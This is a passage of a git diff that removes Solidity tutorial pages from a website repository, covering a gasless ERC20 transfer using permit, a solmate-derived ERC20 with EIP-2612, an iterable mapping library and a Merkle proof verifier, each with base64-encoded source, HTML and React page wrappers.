0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICB0b3RhbFN1cHBseSArPSBhbW91bnQ7CgogICAgICAgIC8vIENhbm5vdCBvdmVyZmxvdyBiZWNhdXNlIHRoZSBzdW0gb2YgYWxsIHVzZXIKICAgICAgICAvLyBiYWxhbmNlcyBjYW4ndCBleGNlZWQgdGhlIG1heCB1aW50MjU2IHZhbHVlLgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIH0KCiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIGZyb20sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICAvLyBDYW5ub3QgdW5kZXJmbG93IGJlY2F1c2UgYSB1c2VyJ3MgYmFsYW5jZQogICAgICAgIC8vIHdpbGwgbmV2ZXIgYmUgbGFyZ2VyIHRoYW4gdGhlIHRvdGFsIHN1cHBseS4KICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICB0b3RhbFN1cHBseSAtPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9Cn0KCmNvbnRyYWN0IEVSQzIwUGVybWl0IGlzIEVSQzIwIHsKICAgIGNvbnN0cnVjdG9yKAogICAgICAgIHN0cmluZyBtZW1vcnkgX25hbWUsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLAogICAgICAgIHVpbnQ4IF9kZWNpbWFscwogICAgKSBFUkMyMChfbmFtZSwgX3N5bWJvbCwgX2RlY2ltYWxzKSB7fQoKICAgIGZ1bmN0aW9uIG1pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIHB1YmxpYyB7CiAgICAgICAgX21pbnQodG8sIGFtb3VudCk7CiAgICB9Cn0K", - }, - { - fileName: "GaslessTokenTransfer.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4xODsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3Mgc2VuZGVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50CiAgICApIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsOwoKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgdmFsdWUpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiB2YWx1ZSk7Cn0KCmNvbnRyYWN0IEdhc2xlc3NUb2tlblRyYW5zZmVyIHsKICAgIGZ1bmN0aW9uIHNlbmQoCiAgICAgICAgYWRkcmVzcyB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2VpdmVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZmVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgLy8gUGVybWl0IHNpZ25hdHVyZQogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gUGVybWl0CiAgICAgICAgSUVSQzIwUGVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwKICAgICAgICAgICAgYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgYW1vdW50ICsgZmVlLAogICAgICAgICAgICBkZWFkbGluZSwKICAgICAgICAgICAgdiwKICAgICAgICAgICAgciwKICAgICAgICAgICAgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo=", - }, -] - -const html = `

Gasless ERC20 token transfer with Meta transaction

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.18;
-
-interface IERC20Permit {
-    function totalSupply() external view returns (uint256);
-
-    function balanceOf(address account) external view returns (uint256);
-
-    function transfer(address recipient, uint256 amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint256);
-
-    function approve(address spender, uint256 amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint256 amount
-    ) external returns (bool);
-
-    function permit(
-        address owner,
-        address spender,
-        uint256 value,
-        uint256 deadline,
-        uint8 v,
-        bytes32 r,
-        bytes32 s
-    ) external;
-
-    event Transfer(address indexed from, address indexed to, uint256 value);
-    event Approval(address indexed owner, address indexed spender, uint256 value);
-}
-
-contract GaslessTokenTransfer {
-    function send(
-        address token,
-        address sender,
-        address receiver,
-        uint256 amount,
-        uint256 fee,
-        uint256 deadline,
-        // Permit signature
-        uint8 v,
-        bytes32 r,
-        bytes32 s
-    ) external {
-        // Permit
-        IERC20Permit(token).permit(
-            sender,
-            address(this),
-            amount + fee,
-            deadline,
-            v,
-            r,
-            s
-        );
-        // Send amount to receiver
-        IERC20Permit(token).transferFrom(sender, receiver, amount);
-        // Take fee - send fee to msg.sender
-        IERC20Permit(token).transferFrom(sender, msg.sender, fee);
-    }
-}
-

Example ERC20 that implements permit copied from solmate

-
// SPDX-License-Identifier: AGPL-3.0-only
-pragma solidity >=0.8.0;
-
-/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
-/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
-/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
-/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
-abstract contract ERC20 {
-    /*//////////////////////////////////////////////////////////////
-                                 EVENTS
-    //////////////////////////////////////////////////////////////*/
-
-    event Transfer(address indexed from, address indexed to, uint256 amount);
-
-    event Approval(address indexed owner, address indexed spender, uint256 amount);
-
-    /*//////////////////////////////////////////////////////////////
-                            METADATA STORAGE
-    //////////////////////////////////////////////////////////////*/
-
-    string public name;
-
-    string public symbol;
-
-    uint8 public immutable decimals;
-
-    /*//////////////////////////////////////////////////////////////
-                              ERC20 STORAGE
-    //////////////////////////////////////////////////////////////*/
-
-    uint256 public totalSupply;
-
-    mapping(address => uint256) public balanceOf;
-
-    mapping(address => mapping(address => uint256)) public allowance;
-
-    /*//////////////////////////////////////////////////////////////
-                            EIP-2612 STORAGE
-    //////////////////////////////////////////////////////////////*/
-
-    uint256 internal immutable INITIAL_CHAIN_ID;
-
-    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
-
-    mapping(address => uint256) public nonces;
-
-    /*//////////////////////////////////////////////////////////////
-                               CONSTRUCTOR
-    //////////////////////////////////////////////////////////////*/
-
-    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
-        name = _name;
-        symbol = _symbol;
-        decimals = _decimals;
-
-        INITIAL_CHAIN_ID = block.chainid;
-        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
-    }
-
-    /*//////////////////////////////////////////////////////////////
-                               ERC20 LOGIC
-    //////////////////////////////////////////////////////////////*/
-
-    function approve(address spender, uint256 amount) public virtual returns (bool) {
-        allowance[msg.sender][spender] = amount;
-
-        emit Approval(msg.sender, spender, amount);
-
-        return true;
-    }
-
-    function transfer(address to, uint256 amount) public virtual returns (bool) {
-        balanceOf[msg.sender] -= amount;
-
-        // Cannot overflow because the sum of all user
-        // balances can't exceed the max uint256 value.
-        unchecked {
-            balanceOf[to] += amount;
-        }
-
-        emit Transfer(msg.sender, to, amount);
-
-        return true;
-    }
-
-    function transferFrom(
-        address from,
-        address to,
-        uint256 amount
-    ) public virtual returns (bool) {
-        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
-
-        if (allowed != type(uint256).max)
-            allowance[from][msg.sender] = allowed - amount;
-
-        balanceOf[from] -= amount;
-
-        // Cannot overflow because the sum of all user
-        // balances can't exceed the max uint256 value.
-        unchecked {
-            balanceOf[to] += amount;
-        }
-
-        emit Transfer(from, to, amount);
-
-        return true;
-    }
-
-    /*//////////////////////////////////////////////////////////////
-                             EIP-2612 LOGIC
-    //////////////////////////////////////////////////////////////*/
-
-    function permit(
-        address owner,
-        address spender,
-        uint256 value,
-        uint256 deadline,
-        uint8 v,
-        bytes32 r,
-        bytes32 s
-    ) public virtual {
-        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
-
-        // Unchecked because the only math done is incrementing
-        // the owner's nonce which cannot realistically overflow.
-        unchecked {
-            address recoveredAddress = ecrecover(
-                keccak256(
-                    abi.encodePacked(
-                        "\\x19\\x01",
-                        DOMAIN_SEPARATOR(),
-                        keccak256(
-                            abi.encode(
-                                keccak256(
-                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
-                                ),
-                                owner,
-                                spender,
-                                value,
-                                nonces[owner]++,
-                                deadline
-                            )
-                        )
-                    )
-                ),
-                v,
-                r,
-                s
-            );
-
-            require(
-                recoveredAddress != address(0) && recoveredAddress == owner,
-                "INVALID_SIGNER"
-            );
-
-            allowance[recoveredAddress][spender] = value;
-        }
-
-        emit Approval(owner, spender, value);
-    }
-
-    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
-        return
-            block.chainid == INITIAL_CHAIN_ID
-                ? INITIAL_DOMAIN_SEPARATOR
-                : computeDomainSeparator();
-    }
-
-    function computeDomainSeparator() internal view virtual returns (bytes32) {
-        return
-            keccak256(
-                abi.encode(
-                    keccak256(
-                        "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
-                    ),
-                    keccak256(bytes(name)),
-                    keccak256("1"),
-                    block.chainid,
-                    address(this)
-                )
-            );
-    }
-
-    /*//////////////////////////////////////////////////////////////
-                        INTERNAL MINT/BURN LOGIC
-    //////////////////////////////////////////////////////////////*/
-
-    function _mint(address to, uint256 amount) internal virtual {
-        totalSupply += amount;
-
-        // Cannot overflow because the sum of all user
-        // balances can't exceed the max uint256 value.
-        unchecked {
-            balanceOf[to] += amount;
-        }
-
-        emit Transfer(address(0), to, amount);
-    }
-
-    function _burn(address from, uint256 amount) internal virtual {
-        balanceOf[from] -= amount;
-
-        // Cannot underflow because a user's balance
-        // will never be larger than the total supply.
-        unchecked {
-            totalSupply -= amount;
-        }
-
-        emit Transfer(from, address(0), amount);
-    }
-}
-
-contract ERC20Permit is ERC20 {
-    constructor(
-        string memory _name,
-        string memory _symbol,
-        uint8 _decimals
-    ) ERC20(_name, _symbol, _decimals) {}
-
-    function mint(address to, uint256 amount) public {
-        _mint(to, amount);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/gasless-token-transfer/index.md b/src/pages/app/gasless-token-transfer/index.md deleted file mode 100644 index db2e6bb8d..000000000 --- a/src/pages/app/gasless-token-transfer/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Gasless Token Transfer -version: 0.8.20 -description: Gasless ERC20 token transfer with Meta transaction -keywords: [app, application, gasless, token, transfer, ERC20, permit] ---- - -Gasless ERC20 token transfer with Meta transaction - -```solidity -{{{GaslessTokenTransfer}}} -``` - -Example `ERC20` that implements `permit` copied from solmate - -```solidity -{{{ERC20Permit}}} -``` diff --git a/src/pages/app/gasless-token-transfer/index.tsx b/src/pages/app/gasless-token-transfer/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/gasless-token-transfer/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/iterable-mapping/IterableMapping.sol b/src/pages/app/iterable-mapping/IterableMapping.sol deleted file mode 100644 index 6d90e642e..000000000 --- a/src/pages/app/iterable-mapping/IterableMapping.sol +++ /dev/null @@ -1,81 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -library IterableMapping { - // Iterable mapping from address to uint; - struct Map { - address[] keys; - mapping(address => uint) values; - mapping(address => uint) indexOf; - mapping(address => bool) inserted; - } - - function get(Map storage map, address key) public view returns (uint) { - return map.values[key]; - } - - function getKeyAtIndex(Map storage map, uint index) public view returns (address) { - return map.keys[index]; - } - - function size(Map storage map) public view returns (uint) { - return map.keys.length; - } - - function set(Map storage map, address key, uint val) public { - if (map.inserted[key]) { - map.values[key] = val; - } else { - map.inserted[key] = true; - map.values[key] = val; - map.indexOf[key] = map.keys.length; - map.keys.push(key); - } - } - - function remove(Map storage map, address key) public { - if (!map.inserted[key]) { - return; - } - - delete map.inserted[key]; - delete map.values[key]; - - uint index = map.indexOf[key]; - address lastKey = map.keys[map.keys.length - 1]; - - map.indexOf[lastKey] = index; - delete map.indexOf[key]; - - map.keys[index] = lastKey; - map.keys.pop(); - } -} - -contract TestIterableMap { - using IterableMapping for IterableMapping.Map; - - IterableMapping.Map private map; - - function testIterableMap() public { - map.set(address(0), 0); - map.set(address(1), 100); - map.set(address(2), 200); // insert - map.set(address(2), 200); // update - map.set(address(3), 300); - - for (uint i = 0; i < map.size(); i++) { - address key = map.getKeyAtIndex(i); - - assert(map.get(key) == i * 100); - } - - map.remove(address(1)); - - // keys = [address(0), address(3), address(2)] - assert(map.size() == 3); - assert(map.getKeyAtIndex(0) == address(0)); - assert(map.getKeyAtIndex(1) == address(3)); - assert(map.getKeyAtIndex(2) == address(2)); - } -} diff --git a/src/pages/app/iterable-mapping/index.html.ts b/src/pages/app/iterable-mapping/index.html.ts deleted file mode 100644 index d357d71a6..000000000 --- a/src/pages/app/iterable-mapping/index.html.ts +++ /dev/null @@ -1,99 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Iterable Mapping" -export const description = "Iterable Mapping in Solidity" - -export const keywords = ["app", "application", "mapping", "data", "iterable"] - -export const codes = [ - { - fileName: "IterableMapping.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludCkgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQgaW5kZXgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICByZXR1cm4gbWFwLmtleXNbaW5kZXhdOwogICAgfQoKICAgIGZ1bmN0aW9uIHNpemUoTWFwIHN0b3JhZ2UgbWFwKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzLmxlbmd0aDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSwgdWludCB2YWwpIHB1YmxpYyB7CiAgICAgICAgaWYgKG1hcC5pbnNlcnRlZFtrZXldKSB7CiAgICAgICAgICAgIG1hcC52YWx1ZXNba2V5XSA9IHZhbDsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBtYXAuaW5zZXJ0ZWRba2V5XSA9IHRydWU7CiAgICAgICAgICAgIG1hcC52YWx1ZXNba2V5XSA9IHZhbDsKICAgICAgICAgICAgbWFwLmluZGV4T2Zba2V5XSA9IG1hcC5rZXlzLmxlbmd0aDsKICAgICAgICAgICAgbWFwLmtleXMucHVzaChrZXkpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmUoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHsKICAgICAgICBpZiAoIW1hcC5pbnNlcnRlZFtrZXldKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgIGRlbGV0ZSBtYXAuaW5zZXJ0ZWRba2V5XTsKICAgICAgICBkZWxldGUgbWFwLnZhbHVlc1trZXldOwoKICAgICAgICB1aW50IGluZGV4ID0gbWFwLmluZGV4T2Zba2V5XTsKICAgICAgICBhZGRyZXNzIGxhc3RLZXkgPSBtYXAua2V5c1ttYXAua2V5cy5sZW5ndGggLSAxXTsKCiAgICAgICAgbWFwLmluZGV4T2ZbbGFzdEtleV0gPSBpbmRleDsKICAgICAgICBkZWxldGUgbWFwLmluZGV4T2Zba2V5XTsKCiAgICAgICAgbWFwLmtleXNbaW5kZXhdID0gbGFzdEtleTsKICAgICAgICBtYXAua2V5cy5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEl0ZXJhYmxlTWFwIHsKICAgIHVzaW5nIEl0ZXJhYmxlTWFwcGluZyBmb3IgSXRlcmFibGVNYXBwaW5nLk1hcDsKCiAgICBJdGVyYWJsZU1hcHBpbmcuTWFwIHByaXZhdGUgbWFwOwoKICAgIGZ1bmN0aW9uIHRlc3RJdGVyYWJsZU1hcCgpIHB1YmxpYyB7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDApLCAwKTsKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMSksIDEwMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyBpbnNlcnQKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMiksIDIwMCk7IC8vIHVwZGF0ZQogICAgICAgIG1hcC5zZXQoYWRkcmVzcygzKSwgMzAwKTsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgbWFwLnNpemUoKTsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mga2V5ID0gbWFwLmdldEtleUF0SW5kZXgoaSk7CgogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg==", - }, -] - -const html = `

You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-library IterableMapping {
-    // Iterable mapping from address to uint;
-    struct Map {
-        address[] keys;
-        mapping(address => uint) values;
-        mapping(address => uint) indexOf;
-        mapping(address => bool) inserted;
-    }
-
-    function get(Map storage map, address key) public view returns (uint) {
-        return map.values[key];
-    }
-
-    function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
-        return map.keys[index];
-    }
-
-    function size(Map storage map) public view returns (uint) {
-        return map.keys.length;
-    }
-
-    function set(Map storage map, address key, uint val) public {
-        if (map.inserted[key]) {
-            map.values[key] = val;
-        } else {
-            map.inserted[key] = true;
-            map.values[key] = val;
-            map.indexOf[key] = map.keys.length;
-            map.keys.push(key);
-        }
-    }
-
-    function remove(Map storage map, address key) public {
-        if (!map.inserted[key]) {
-            return;
-        }
-
-        delete map.inserted[key];
-        delete map.values[key];
-
-        uint index = map.indexOf[key];
-        address lastKey = map.keys[map.keys.length - 1];
-
-        map.indexOf[lastKey] = index;
-        delete map.indexOf[key];
-
-        map.keys[index] = lastKey;
-        map.keys.pop();
-    }
-}
-
-contract TestIterableMap {
-    using IterableMapping for IterableMapping.Map;
-
-    IterableMapping.Map private map;
-
-    function testIterableMap() public {
-        map.set(address(0), 0);
-        map.set(address(1), 100);
-        map.set(address(2), 200); // insert
-        map.set(address(2), 200); // update
-        map.set(address(3), 300);
-
-        for (uint i = 0; i < map.size(); i++) {
-            address key = map.getKeyAtIndex(i);
-
-            assert(map.get(key) == i * 100);
-        }
-
-        map.remove(address(1));
-
-        // keys = [address(0), address(3), address(2)]
-        assert(map.size() == 3);
-        assert(map.getKeyAtIndex(0) == address(0));
-        assert(map.getKeyAtIndex(1) == address(3));
-        assert(map.getKeyAtIndex(2) == address(2));
-    }
-}
-
` - -export default html diff --git a/src/pages/app/iterable-mapping/index.md b/src/pages/app/iterable-mapping/index.md deleted file mode 100644 index 7bf100d01..000000000 --- a/src/pages/app/iterable-mapping/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Iterable Mapping -version: 0.8.20 -description: Iterable Mapping in Solidity -keywords: [app, application, mapping, data, iterable] ---- - -You cannot iterate through a `mapping`. So here is an example of how to create an iterable `mapping`. - -```solidity -{{{IterableMapping}}} -``` diff --git a/src/pages/app/iterable-mapping/index.tsx b/src/pages/app/iterable-mapping/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/iterable-mapping/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/merkle-tree/MerkleTree.sol b/src/pages/app/merkle-tree/MerkleTree.sol deleted file mode 100644 index a9ccdb790..000000000 --- a/src/pages/app/merkle-tree/MerkleTree.sol +++ /dev/null @@ -1,78 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract MerkleProof { - function verify( - bytes32[] memory proof, - bytes32 root, - bytes32 leaf, - uint index - ) public pure returns (bool) { - bytes32 hash = leaf; - - for (uint i = 0; i < proof.length; i++) { - bytes32 proofElement = proof[i]; - - if (index % 2 == 0) { - hash = keccak256(abi.encodePacked(hash, proofElement)); - } else { - hash = keccak256(abi.encodePacked(proofElement, hash)); - } - - index = index / 2; - } - - return hash == root; - } -} - -contract TestMerkleProof is MerkleProof { - bytes32[] public hashes; - - constructor() { - string[4] memory transactions = [ - "alice -> bob", - "bob -> dave", - "carol -> alice", - "dave -> bob" - ]; - - for (uint i = 0; i < transactions.length; i++) { - hashes.push(keccak256(abi.encodePacked(transactions[i]))); - } - - uint n = transactions.length; - uint offset = 0; - - while (n > 0) { - for (uint i = 0; i < n - 1; i += 2) { - hashes.push( - keccak256( - abi.encodePacked(hashes[offset + i], hashes[offset + i + 1]) - ) - ); - } - offset += n; - n = n / 2; - } - } - - function getRoot() public view returns (bytes32) { - return hashes[hashes.length - 1]; - } - - /* verify - 3rd leaf - 0xdca3326ad7e8121bf9cf9c12333e6b2271abe823ec9edfe42f813b1e768fa57b - - root - 0xcc086fcc038189b4641db2cc4f1de3bb132aefbd65d510d817591550937818c7 - - index - 2 - - proof - 0x8da9e1c820f9dbd1589fd6585872bc1063588625729e7ab0797cfc63a00bd950 - 0x995788ffc103b987ad50f5e5707fd094419eb12d9552cc423bd0cd86a3861433 - */ -} diff --git a/src/pages/app/merkle-tree/index.html.ts b/src/pages/app/merkle-tree/index.html.ts deleted file mode 100644 index ca1ae1e0d..000000000 --- a/src/pages/app/merkle-tree/index.html.ts +++ /dev/null @@ -1,97 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Merkle Tree" -export const description = "Learn about Merkle tree in Solidity" - -export const keywords = ["app", "application", "merkle", "tree", "cryptography"] - -export const codes = [ - { - fileName: "MerkleTree.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludCBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9IFsKICAgICAgICAgICAgImFsaWNlIC0+IGJvYiIsCiAgICAgICAgICAgICJib2IgLT4gZGF2ZSIsCiAgICAgICAgICAgICJjYXJvbCAtPiBhbGljZSIsCiAgICAgICAgICAgICJkYXZlIC0+IGJvYiIKICAgICAgICBdOwoKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCB0cmFuc2FjdGlvbnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgaGFzaGVzLnB1c2goa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQodHJhbnNhY3Rpb25zW2ldKSkpOwogICAgICAgIH0KCiAgICAgICAgdWludCBuID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKICAgICAgICB1aW50IG9mZnNldCA9IDA7CgogICAgICAgIHdoaWxlIChuID4gMCkgewogICAgICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCBuIC0gMTsgaSArPS